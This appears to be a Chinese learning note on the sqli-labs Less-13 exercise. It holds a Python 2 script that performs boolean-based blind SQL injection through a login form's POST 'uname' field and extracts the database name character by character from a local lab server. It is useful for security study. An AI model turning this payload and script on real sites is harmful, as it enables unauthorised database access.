通过or注入py脚本

代码思路

1.主要还是参考了别人的代码，确实自己写的和别人写的出路很大，主要归咎还是自己代码能力待提高吧。

2.将功能集合成一个函数，然后通过*args这个小技巧去调用。函数的参数不是argv的值，但是*argv的是。也就是如下：

　　

3.还有就是利用了format，因为是POST所有不好直接设置，但是通过format效果就好得多。

 #!/usr/bin/env python
 #encoding:utf-8
 #by i3ekr

 import requests
 url = "http://127.0.0.1/Less-13/?id=1"
 database_length_payload = "abc' ) or length((select database()))={0} #"
 database_name_payload = "xxxxxxxxx')or(select substr((select database()),{0},1))='{1}' # &passwd=1"
 database_length = 0
 database_name = ""
 def get_value(payload,value,*args):
     if len(args) == 0:
         payload = payload.format(value)
         data = {"uname":payload,"passwd":""}
     else:
         payload = payload.format(value,args[0])
         data = {"uname":payload,"passwd":""}

     print "[*] payload:%s"%(data)
     html = requests.post(url,data=data)
     if "flag.jpg" in html.text:
         return True
     else:
         return False

 for i in range(100):
     if(get_value(database_length_payload,i)):
         database_length =+ i
         break

 for n in range(1,database_length+1):
     for s in "qwertyuiopasdfghjklzxcvbnm":
         if(get_value(database_name_payload,n,s)):
             database_name +=s
             break

 print database_name
 print database_length